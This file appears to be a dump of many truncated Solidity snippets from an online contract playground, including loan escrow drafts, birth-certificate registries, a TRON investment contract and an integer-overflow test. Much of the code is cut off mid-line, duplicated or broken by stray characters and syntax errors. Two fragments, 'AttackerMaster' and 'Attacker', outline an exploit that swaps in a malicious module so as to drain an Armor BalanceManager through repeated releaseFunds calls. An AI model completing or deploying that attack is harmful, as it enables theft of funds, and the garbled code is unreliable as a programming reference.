   * @dev Moves `amount` tokens from the caller's account to `recipient`.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transfer(address recipient, uint256 amount) external returns (bool);

  /**
   * 

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }f
  

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
    appple
  }

  uint value;

pragma solidity ^0.4.18;

contract Gastoken {
    function free(uint256 value) public returns (bool success);
    function freeUpTo(uint256 value) public returns (uint256 freed);
    function freeFrom(address from, uint256 value) public returns (bool success);
    function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}

contract Example {

    // This function consumes a lot of gas
    function expensiveStuff() private pure {
        /* lots of expensive stuff */
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong to this Example contract. The gas refund can pay
     * for up to half of the gas cost of the total transaction in which this 
     * call occurs.
     */
    function burnGasAndFree(address gas_token, uint256 free) public {
        require(Gastoken(gas_token).free(free));
        expensiveStuff();
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint256 _tranferBurnRate) public {
    //require(_tranferBurnRate <= 100, "Burning Rate on Transfer cannot be more than 100%");
    transferBurnRate = _tranferBurnRate;
  }

  function burnratePrecentage() public constant returns (uint256) {
    return transferBurnRate;
  }

  function transferafterburn() public view returns (uint256) {
    amount = 1000;
    uint256 _burntAmount = amount * transferBurnRate / 100;
    amount = amount - _burntAmount;
    return amount;
  }

  uint256 amount;
  uint256 transferBurnRate;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint256 _tranferBurnRate) public {
    //require(_tranferBurnRate <= 100, "Burning Rate on Transfer cannot be more than 100%");
    transferBurnRate = _tranferBurnRate;
  }

  function get() public constant returns (uint256) {
    return transferBurnRate;
  }

  function transferafterburn() public view returns (uint256) {
    amount = 1000;
    uint256 _burntAmount = amount * transferBurnRate / 100;
    amount = amount - _burntAmount;
    return amount;
  }

  uint256 amount;
  uint256 transferBurnRate;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint256 _tranferBurnRate) public {
    //require(_tranferBurnRate <= 100, "Burning Rate on Transfer cannot be more than 100%");
    transferBurnRate = _tranferBurnRate;
  }

  function get() public constant returns (uint256) {
    return transferBurnRate;
  }

  function amounts() public view returns (uint256) {
    amount = 1000;
    uint256 _burntAmount = amount * transferBurnRate / 100;
    amount = amount - _burntAmount;
    return amount;
  }

  uint256 amount;
  uint256 transferBurnRate;

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthChain {

  /********* Constructor to assign Government as admin *********/
  address public gov;
  constructor() {
    gov = msg.sender;
  }
  
  
  /********* Structures *********/
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubAdd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubAdd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    string location;
    address hospitalAddr;
    address muncipalityAddr;
    bool status;
  }

  /********* Mappings *********/
  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) public bc;
  mapping (address=>bool) public isHospital;
  mapping (address=>bool) public isMuncipality;
  mapping (bytes32=>uint) verifyedBc;
  
  /****

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IFastLoan {
    
    event LoanRequestSubmitted(address, uint256, uint256);
    //NOTE: can add more even emitter for other functions 
    
    event LenderRegistered(address);
    
    event LoanRequestApproved(address, uint256);
    
    event LoanPaymentRecorded(uint256);
    
    /**
     * @dev register lender.
	 */
    function registerLender(address _lender) external; 

	/**
	 * @dev create and submit request.
	 */
    function submitLoanRequest(address payable _borrower, uint256 _amount, uint256 _projectId, string memory _projectTitle) external; 
                        //, uint _projectDuration) external;

	
	/**
	 * @dev approve submitted request. Should be done by the superValidator or delegated validator
	 **/
	function approveLoanRequest(bytes32 _requestId, address payable _lender, 
	                            uint8 _numberOfInstallments) external;
	                           
	
	/**
	 * @dev record the payments of the loans by 

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import './IFastLoan.sol';

contract FastLoanEscrow is IFastLoan {
    
    struct LoanRequest {
		address payable borrower;
		uint256 projectID;
        string projectTitle;
		uint projectDuration;
		uint256 amount;
	}
	
	struct Loan {
	    uint256 projectID;
		address payable lender;
		address payable borrower;
		uint256 amount;
		uint256 afterInterestBalance;
		uint256 interestAmount; 
		uint256 paymentEndTime;
		uint8 requiredNofInstallments; 
		uint8 remainingNofInstallments;
		bool isClosed;
	}
	
	mapping(address => uint256) public lenderWithdrawals;
	
	mapping(address => uint256) private lenderDepositInEscrow; 
	
	uint256 public escrowBalance; 
	
	// Current implementation: nonce as state variable counter 
	uint256 private nonce; 
	
	// Request info
	bytes32[] private requestIDs;
	mapping(bytes32 => LoanRequest) private requests;
	
	// Loan info. // one loan per user.
	mapping(address => bytes8) private userLoan;
	mapping(bytes32 => Loan) private

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import './IFastLoan.sol';

contract FastLoanEscrow is IFastLoan {
    
    struct LoanRequest {
		address payable borrower;
		uint256 projectID;
        string projectTitle;
		uint projectDuration;
		uint256 amount;
	}
	
	struct Loan {
	    uint256 projectID;
		address payable lender;
		address payable borrower;
		uint256 amount;
		uint256 afterInterestBalance;
		uint256 interestAmount; 
		uint256 paymentEndTime;
		uint8 numberOfInstallments; 
		bool isClosed;
	}
	
	mapping(address => uint256) public lenderWithdrawals;
	
	mapping(address => uint256) private lenderDepositInEscrow; 
	
	uint256 public escrowBalance; 
	
	// Current implementation: nonce as state variable counter 
	uint256 private nonce; 
	
	// Request info
	bytes32[] private requestIDs;
	mapping(bytes32 => LoanRequest) private requests;
	
	// Loan info. // one loan per user.
	mapping(address => bytes8) private userLoan;
	mapping(bytes32 => Loan) private loanDB;

	// Aggregate Lenders info

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import './IFastLoan.sol';

contract FastLoanEscrow is IFastLoan {
    
    struct LoanRequest {
		address payable borrower;
		uint256 projectID;
        string projectTitle;
		uint projectDuration;
		uint256 amount;
	}
	
	struct Loan {
	    uint256 projectID;
		address payable lender;
		address payable borrower;
		uint256 amount;
		uint256 afterInterestBalance;
		uint256 interestAmount; 
		uint256 paymentEndTime;
		uint8 numberOfInstallments; 
		bool isClosed;
	}
	
	mapping(address => uint256) public lenderWithdrawals;
	
	mapping(address => uint256) private lenderDepositInEscrow; 
	
	uint256 public escrowBalance; 
	
	// Current implementation: nonce as state variable counter 
	uint256 private nonce; 
	
	// Request info
	bytes32[] private requestIDs;
	mapping(bytes32 => LoanRequest) private requests;
	
	// Loan info. // one loan per user.
	mapping(address => bytes8) private userLoan;
	mapping(bytes32 => Loan) private loanDB;

	// Aggregate Lenders info

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import './EscrowLoan.sol';

contract FastLoan {
    // consider using access control from openzepplin for Escrow part.

    
    struct LoanRequest {
		address payable borrower;
		uint256 projectID;
        string projectTitle;
		uint projectDuration;
		uint256 amount;
	}
	
	struct Loan {
	    uint256 projectID;
		address payable lender;
		address payable borrower;
		uint256 amount;
		uint256 currentBalance;
		uint256 interestAmount; 
		uint256 paymentEndTime;
		uint numberOfInstallments; 
		bool isClosed;
	}
	
	EscrowLoan escrowContract;
	
	 mapping(address => uint256) public lenderDeposits;
	
	// Current implementation: nonce as state variable counter 
	uint256 private nonce; 
	
	// Request info
	bytes32[] private requestIDs;
	mapping(bytes32 => LoanRequest) private requests;
	
	// Loan info. // one loan per user.
	mapping(address => bytes8) private userLoan;
	mapping(bytes32 => Loan) private loanDB;
	
    //private fixedInterestRate = (5 / 100);
   

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

contract FastLoan {
    // consider using access control from openzepplin for Escrow part.

    
    struct LoanRequest {
		address borrower;
		uint256 projectID;
        string projectTitle;
		uint projectDuration;
		uint256 amount;
	}
	
	struct Loan {
	    uint256 projectID;
		address lender;
		address borrower;
		uint256 amount;
		uint256 currentBalance;
		uint256 interestAmount; 
		uint256 paymentEndTime;
		uint numberOfInstallments; 
		bool isClosed;
	}
	
	// Current implementation: nonce as state variable counter 
	uint256 private nonce; 
	
	// Request info
	bytes32[] private requestIDs;
	mapping(bytes32 => LoanRequest) private requests;
	
	// Loan info. // one loan per user.
	mapping(address => bytes8) private userLoan;
	mapping(bytes32 => Loan) private loanDB;
	
    //private fixedInterestRate = (5 / 100);
    //uint private fixedInterestRate = (5 / 100); 
	
	// Aggregate Lenders info
	address[] private allLenders;

	// Aggregate borrowers' inf

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

contract FastLoan {
    // consider using access control from openzepplin for Escrow part.

    
    struct LoanRequest {
		address borrower;
		uint256 projectID;
        string projectTitle;
		uint projectDuration;
		uint256 amount;
	}
	
	struct Loan {
	    uint256 projectID;
		address lender;
		address borrower;
		uint256 amount;
		uint256 currentBalance;
		uint256 interestAmount; 
		uint256 paymentEndTime;
		uint numberOfInstallments; 
		bool isClosed;
	}
	
// 	struct CreditHistoryOracle{
// 	    uint creditScore;
// 	    uint dateCreditScoreReceived;
// 	}
	
// 	mapping (address => CreditHistoryOracle) private borroweCreditHistory;
	
	// Current implementation: nonce as state variable counter 
	uint256 private nonce; 
	
	// Request info
	bytes32[] private requestIDs;
	mapping(bytes32 => LoanRequest) private requests;
	
	// Loan info. // one loan per user.
	mapping(address => bytes8) private userLoan;
	mapping(bytes32 => Loan) private loanDB;
	
    

pragma solidity ^0.4.24;

contract PrivateAPIContract {

	string public result;

	function TestURLBuilder(string apiKey, uint _time, string _ticker, uint _days) {

        // result = uintToString(12345678901234567890);
        result = string(abi.encodePacked("https://www.okex.com/v3/chainlink-midlayer/pc/public/implied-volatility?underlying=", _ticker, "&t="));
        result = appendUintToString(result, _time);
        result = string(abi.encodePacked(result,"&days="));
        result = appendUintToString(result, _days);
        result = string(abi.encodePacked(result,"&apiKey=", apiKey));
    }

	function uintToString(uint v) constant returns (string str) {
        uint maxlength = 100;
        bytes memory reversed = new bytes(maxlength);
        uint i = 0;
        while (v != 0) {
            uint remainder = v % 10;
            v = v / 10;
            reversed[i++] = byte(48 + remainder);
        }
        bytes memory s = new bytes(i);
        for (uint j = 0; j < i; j++) {
            s[j] = reverse

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

contract FastLoan {
    
    // consider using access control from openzepplin for Escrow part.

    
    struct LoanRequest {
		address borrower;
		uint projectID;
        string projectTitle;
		uint projectDuration;
		uint amount;
        
		//uint bonus;
		//uint certifications -offchain;
		//string description - offchain;
	}
	
	struct Loan {
	    //uint id;
	    
	    uint projectID;
		address lender;
		address borrower;
		uint amount;
		uint interestAmount; 
		uint paymentEndTime;
		uint numberOfInstallments; 
		bool isClosed;

		//uint certTarget; // Target number of certifications
		//uint curCert; // Current number of certifications
		//string description;
	}
	
	struct CreditHistoryOracle{
	    uint creditScore;
	    uint dateCreditScoreReceived;
	}
	
	mapping (address => CreditHistoryOracle) borroweCreditHistory;
	
	// Current implementation: nonce as state variable counter 
	uint256 private nonce; 
	
	// Request info
	bytes32[] public request

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

contract FastLoan {
    
    // consider using access control from openzepplin for Escrow part.
    
    
    
    
    struct LoanRequest {
		address borrower;
		uint projectID;
        string projectTitle;
		uint projectDuration;
		uint amount;
        
		//uint bonus;
		//uint certifications -offchain;
		//string description - offchain;
	}
	
	struct Loan {
	    uint id;
		address lender;
		address borrower;
		uint amount;
		uint endTime;
		uint interest;
		uint projectID;
		string projectTitle;
		//uint certTarget; // Target number of certifications
		//uint curCert; // Current number of certifications
		//string description;
		bool done;
	}
	
	struct CreditHistoryOracle{
	    uint creditScore;
	    uint dateCreditScoreReceived;
	}
	
	mapping (address => CreditHistoryOracle) borroweCreditHistory;
	
	// Request info
	bytes32[] public requestIDs;
	mapping(bytes32 => LoanRequest) public requests;
	
	// Loan info. // one loan per user.
	mapping(address 

pragma solidity ^0.4.24;

contract A {

	string public result;

	function TestURLBuilder(uint _time, string _ticker, uint _days) {

        // result = uintToString(12345678901234567890);
        result = string(abi.encodePacked("https://www.okex.com/v3/chainlink-midlayer/pc/public/implied-volatility?underlying=", _ticker, "&t="));
        result = appendUintToString(result, _time);
        result = string(abi.encodePacked(result,"&days="));
        result = appendUintToString(result, _days);
    }

	function uintToString(uint v) constant returns (string str) {
        uint maxlength = 100;
        bytes memory reversed = new bytes(maxlength);
        uint i = 0;
        while (v != 0) {
            uint remainder = v % 10;
            v = v / 10;
            reversed[i++] = byte(48 + remainder);
        }
        bytes memory s = new bytes(i);
        for (uint j = 0; j < i; j++) {
            s[j] = reversed[i - 1 - j];
        }
        str = string(s);
    }

    function appendUintToString(string inStr, 

pragma solidity 0.8.0;

/*
    This contract will be the new Master contract.
    Since a successful exploit requires the BalanceManager to call the function getModule(),
    this contract serves only to return the malicious attack contract.
*/
contract AttackerMaster {
    
    // The contract where the attack exploit lays (attacker.sol, https://ethfiddle.com/sadCsoPiJV)
    address attackAddress;
    
    
    function getModule(bytes32 _key) external returns(address) {
        returns(attackAddress);
    }
    
    constructor(address attackAddress_) {
        attackAddress = attackAddress_;
    }

pragma solidity 0.8.0;

interface ArmorBalanceManager {
    function releaseFunds() external;
}

contract Attacker {
    
    // Make sure that only the hacker can call this malicious contract
    modifier onlyOwner() {
        require(owner == msg.sender);
        _;
    }
    
    address armorBalanceManagerAddress;
    address owner;
    
    // The rewardBalance state of the BalanceManager contract
    uint rewardBalance;
    
    // The govBalance state of the BalanceManager contract
    uint govBalance;
    
    // Create the contract with the address (armor BalanaceManager contract) and the rewardBalance of the armor BalanceManager
    constructor(address armorBalanceManagerAddress_, uint rewardBalance_, uint govBalance_) {
        armorBalanceManagerAddress = armorBalanceManagerAddress_;
        rewardBalance = rewardBalance_;
        govBalance = govBalance_;
        owner = msg.sender;
    }
    
    /*
        Attack the armor contract by calling releaseFunds until the contract is empty.
        Th

pragma solidity 0.8.0;

interface ArmorBalanceManager {
    function releaseFunds() external;
}

contract Attacker {
    
    // Make sure that only the hacker can call this malicious contract
    modifier onlyOwner() {
        require(owner == msg.sender);
        _;
    }
    
    address armorBalanceManagerAddress;
    address owner;
    
    // The rewardBalance state of the BalanceManager contract
    uint rewardBalance;
    
    // The govBalance state of the BalanceManager contract
    uint govBalance;
    
    // Create the contract with the address (armor BalanaceManager contract) and the rewardBalance of the armor BalanceManager
    constructor(address armorBalanceManagerAddress_, uint rewardBalance_, uint govBalance_) {
        armorBalanceManagerAddress = armorBalanceManagerAddress_;
        rewardBalance = rewardBalance_;
        govBalance = govBalance_;
        owner = msg.sender;
    }
    
    /*
        Attack the armor contract by calling releaseFunds until the contract is empty.
        Th

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

contract FastLoan {
    
    // consider using access control from openzepplin for Escrow part.
    
    
    struct LoanRequest {
		address borrower;
		uint amount;
		uint projectID;
		string projectTitle;
		uint projectDuration;
		uint bonus;
		//uint certifications -offchain;
		//string description - offchain;
	}
	
	struct Loan {
		address lender;
		address borrower;
		uint amount;
		uint endTime;
		uint interest;
		uint projectID;
		string projectTitle;
		//uint certTarget; // Target number of certifications
		//uint curCert; // Current number of certifications
		//string description;
		bool done;
	}
	
	struct CreditHistoryOracle{
	    
	    uint creditScore;
	    uint dateCreditScoreReceived;
	}
	
	mapping (address => CreditHistoryOracle) borroweCreditHistory;
	
	// Request info
	bytes8[] public requestIDs;
	mapping(bytes8 => LoanRequest) public requests;
	
	// Loan info. // one loan per user.
	mapping(address => bytes8) public userLoan;
	mapping(

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

contract FastLoan {
    
    // consider using access control from openzepplin for Escrow part.
    


    struct LoanRequest {
		address borrower;
		uint amount;
		uint projectID;
		string projectTitle;
		uint projectDuration;
		uint bonus;
		//uint certifications -offchain;
		//string description - offchain;
	}
	
	struct Loan {
		address lender;
		address borrower;
		uint amount;
		uint endTime;
		uint interest;
		uint projectID;
		string projectTitle;
		//uint certTarget; // Target number of certifications
		//uint curCert; // Current number of certifications
		//string description;
		bool done;
	}
	
	struct CreditHistory{
	    
	    uint creditScore;
	    uint dateCreditScoreReceived;
	}
	
	mapping (address => CreditHistory) borroweCreditHistory;
	
	
	    
	
	

	
	
	
	

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

contract FastLoan {
    
    // consider using access control from openzepplin for Escrow part.
    
    
    struct LoanRequest {
		address borrower;
		uint amount;
		uint projectID;
		string projectTitle;
		uint projectDuration;
		uint bonus;
		//uint certifications -offchain;
		//string description - offchain;
	}
	
	struct Loan {
		address lender;
		address borrower;
		uint amount;
		uint endTime;
		uint interest;
		uint projectID;
		string projectTitle;
		//uint certTarget; // Target number of certifications
		//uint curCert; // Current number of certifications
		//string description;
		bool done;
	}
	
	struct CreditHistory{
	    
	    uint creditScore;
	    uint dateCreditScoreReceived;
	}
	
	mapping (address => CreditHistory) borroweCreditHistory;
	
	
	    
	
	

	
	
	
	

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthChain {

  /********* Constructor to assign Government as admin *********/
  address public gov;
  constructor() {
    gov = msg.sender;
  }
  
  
  /********* Structures *********/
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubAdd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubAdd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    string location;
    address hospitalAddr;
    address muncipalityAddr;
    bool status;
  }

  /********* Mappings *********/
  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) public bc;
  mapping (address=>bool) public isHospital;
  mapping (address=>bool) public isMuncipality;
  mapping (bytes32=>uint) verifyedBc;
  
  /****

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthChain {

  /********* Constructor to assign Government as admin *********/
  address public gov;
  constructor() {
    gov = msg.sender;
  }
  
  
  /********* Structures *********/
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubAdd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubAdd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    string location;
    address hospitalAddr;
    address muncipalityAddr;
    bool status;
  }

  /********* Mappings *********/
  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) public bc;
  mapping (address=>bool) public isHospital;
  mapping (address=>bool) public isMuncipality;
  mapping (bytes32=>uint) verifyedBc;
  
  /****

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthChain {

  /********* Constructor to assign Government as admin *********/
  address public gov;
  constructor() {
    gov = msg.sender;
  }
  
  /********* Structures *********/
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubAdd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubAdd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    string location;
    address hospitalAddr;
    address muncipalityAddr;
    bool status;
  }

  /********* Mappings *********/
  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) public bc;
  mapping (address=>bool) public isHospital;
  mapping (address=>bool) public isMuncipality;
  mapping (bytes32=>uint) verifyedBc;
  
  /*******

pragma solidity 0.4.24;

// Testing Uint256 underflow and overflow in Solidity
h
contract UintWrapping {
    uint public zero = 0;
    uint public max = 2**256-1;
    
    // zero will end up at 2**256-1
    function zeroMinus1() public {
        zero -= 1;
    }
    // max will end up at 0
    function maxPlus1() public {
        max += 1;
    }

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthCert {

  address public gov;
  constructor() {
    gov = msg.sender;
  }
  
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubadd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubadd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    uint hospitalId;
    uint muncipalityId;
  }

  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) public bc;
  mapping (uint=>bool) public bcApprove;
  mapping (bytes32=>uint) verifyedBc;
  uint public hID = 256;
  uint public mID = 512;
  uint public bCID = 1024;

  modifier onlyGov(){
    require(gov == msg.sender,"only Gov");
    _;
  }
  modifier onlyHospital(uint id){
    require(hospital[id].pubadd == msg.sender,"only Hospital

pragma solidity 0.7.1;

contract CCRequest
{
    address public Owner;
    address public BankAgent;
    string public LockerFriendlyName;
    string public LockerIdentifier;
    address public CurrentAuthorizedUser;
    string public ExpirationDate;
    string public Image;
    address public ThirdPartyRequestor;
    string public IntendedPurpose;
    string public LockerStatus;
    string public RejectionReason;

    enum StateType { Requested, UnderReview, Approved, Rejected }
    StateType public State;

    constructor(string memory lockerFriendlyName, address bankAgent) public
    {
        Owner = msg.sender;
        LockerFriendlyName = lockerFriendlyName;

        State = StateType.Requested;

        BankAgent = bankAgent;
    }

    function BeginReviewProcess() public
    {
        if (Owner == msg.sender)
        {
            revert();
        }
        BankAgent = msg.sender;

        LockerStatus = "Pending";
        State = StateType.DocumentReview;
    }

    function RejectApplication(strin

pragma solidity 0.8.0;

contract Smart2 {


    struct Play  {
        address payable player;
        uint256 timestamp;
    }

  
    mapping(uint => mapping(uint => Play)) public seassons;

    constructor() {
        //1 not working  (Compiled)
        // Works
        seassons[0][0] = Play(payable(msg.sender), block.timestamp);
        
        
        //2 not working (Compiled)
        // Works
        Play storage player = seassons[0][0];
        
        // When using payable in the Play struct, you also have to use payable() for addresses you put into the struct.
        player.player = payable(msg.sender);
        player.timestamp = block.timestamp;
        
        // Kept it commented out, look at line 17
        //seassons[0][0] = Play(msg.sender, block.timestamp);
        
        // Won't work, look at line 17
        // seassons.push([(Play(msg.sender, block.timestamp))]);
        

    }
    

pragma solidity 0.8.0;

contract Smart2 {


    struct Play  {
        address payable player;
        uint256 timestamp;
    }

  
    mapping(uint => mapping(uint => Play)) public seassons;

    constructor() {
        //1 not working  (Compiled)
        
        seassons[0][0] = Play(payable(msg.sender), block.timestamp);
        
        
        //2 not working (Compiled)
        Play storage player = seassons[0][0];
        
        // When using payable in the Play struct, you also have to use payable() for addresses you put into the struct.
        player.player = payable(msg.sender);
        player.timestamp = block.timestamp;
        
        // Kept it commented out since it was defined equally in line 17
        //seassons[0][0] = Play(msg.sender, block.timestamp);
        
        // Use as line 17
        // seassons.push([(Play(msg.sender, block.timestamp))]);
        

    }
    

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Inbox {
  string public message;

  function Inbox(string initialMessage) public {
    message = initialMessage;
  }

  function setMessage(string newMessage) public {
    message = newMessage;
  }

  function getMessage() public view returns (string) {
    return message;
  }

pragma solidity ^0.7.0;
//SPDX-License-Identifier: UNLICENSED

contract sanity_check {
    function welcome() public pure returns (string memory){
        return "flag{}";
    }
}

pragma solidity ^0.6.12;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function decimals() external view returns (uint);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
     

pragma solidity ^0.6.12;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function decimals() external view returns (uint);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
     

pragma solidity ^0.5.0; 


 interface RegisterSC{
      
        function isBuyerExist(address addr) external view returns (bool); 
    }
    
contract PlasticBale{
    

    address[] public plasticBale; 
    address payable[] public contributors; 
     address payable[] public tempArray; 
     uint public contribution;  //Added here
   
 // Bid variables 
      bool public isOpen; 
      uint public highestBid; 
      address payable public highestBidder; 
      uint public startTime; 
      uint public endTime; 

  
  struct buyer{
      bool isExist; 
      uint placedBids; 
      uint deposit; 
  }
  
  //Bidder[BuyerAddress]
  mapping(address=>buyer) bidder; 
  
  //Seller is the auctionOwner 
   address payable public auctionOwner;
   
   // Bidders are the Buyers 
   uint totalBidders; 
    
    constructor(address[] memory _plasticBale, address payable[] memory _contributors, address payable seller ) public {
      plasticBale = _plasticBale; 
      contributors = _contributors; 
      auctionOwner =

pragma solidity 0.5.12;


contract TickeTron {

    // Struct TicketSequence
    // it consists of uint8 array of 6 elements;
    struct TicketProof {
        uint256 value;
        uint256 ticketTime;
    }

    struct Player {
        
        uint256 id;

        address payable wallet;

        // Dynamic Array of TicketSequence
        TicketProof[] tickets;

        uint256 ticketsCount;

    }

    // TRON Address for Admin
    address payable public owner;

    // Map for User Address and User Object
    mapping(address => Player) public players;


    /** Price for a Ticket - it would be TRON in future 
      For now I mean this is 0.01ETH
    */
    uint private ticketPrice = 1000000000;

    
    /** Counters */
    uint256 public total_users = 50;
    uint256 public total_deposited;
    uint256 public total_withdraw;


    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }


    constructor(address payable _owner) public {
        
        owner = _owner;

    }
    
   

/*
https://trx.is - decentralized investment platform based on TRON cryptocurrency.

email: [email protected]
telegram channel: @trxis
*/

pragma solidity 0.4.21;

contract TRXIS {
  

    struct Tariff {
        uint256 time;
        uint256 percent;
    }

    struct Deposit {
        uint256 tariff;
        uint256 amount;
        uint256 at;
    }

    uint256 DAY = 28800;
    uint256 MIN_DEPOSIT = 100000000;
    uint256 START_AT = 2762825;
    uint256 timesmp  = 1610801709000;

    event DepositAt(address user, uint256 tariff, uint256 amount);

    function checkRandom() public view returns (uint256) {
        return random();
    }
    function random() internal view returns (uint256) {
    
        uint256 randomnumber = uint256(
          
            keccak256(timesmp, "TQdVjFryFPNS176yzchTW1QzpjiV2c6x7S")
        ) % 999;
        randomnumber = randomnumber / 4 + 1;

        if (randomnumber > 0 && randomnumber <= 250) {
            return randomnumber;
        }
        if (randomnumber == 251) {
      

/*
https://trx.is - decentralized investment platform based on TRON cryptocurrency.

email: [email protected]
telegram channel: @trxis
*/

pragma solidity 0.4.21;

contract TRXIS {
  

    struct Tariff {
        uint256 time;
        uint256 percent;
    }

    struct Deposit {
        uint256 tariff;
        uint256 amount;
        uint256 at;
    }

    uint256 DAY = 28800;
    uint256 MIN_DEPOSIT = 100000000;
    uint256 START_AT = 2762825;


    event DepositAt(address user, uint256 tariff, uint256 amount);

    function checkRandom() public view returns (uint256) {
        return random();
    }
    function random() internal view returns (uint256) {
    
        uint256 randomnumber = uint256(
            keccak256(now, msg.sender)
        ) % 999;
        randomnumber = randomnumber / 4 + 1;

        if (randomnumber > 0 && randomnumber <= 250) {
            return randomnumber;
        }
        if (randomnumber == 251) {
            return randomnumber - 250 + 1;
        }
        if (randomnumber == 0) 

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;

contract Groups {
    mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => 
    mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => 
    mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => bool))))))))))))))))))))))))))) userGroups;
    constructor() {
        userGroups[msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender]
                  [msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender]
                  [msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sen

pragma solidity ^0.6.2;

contract A {
  address contractMaker = "0xF24DAf3feAA60F9b4a149E14d306c1536B925ce2";
  address contractReceiver = "0xF24DAf3feAA60F9b4a149E14d306c1536B925ce2";
  string contractDetail = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
  uint256 contractDeadline = 1700000000;
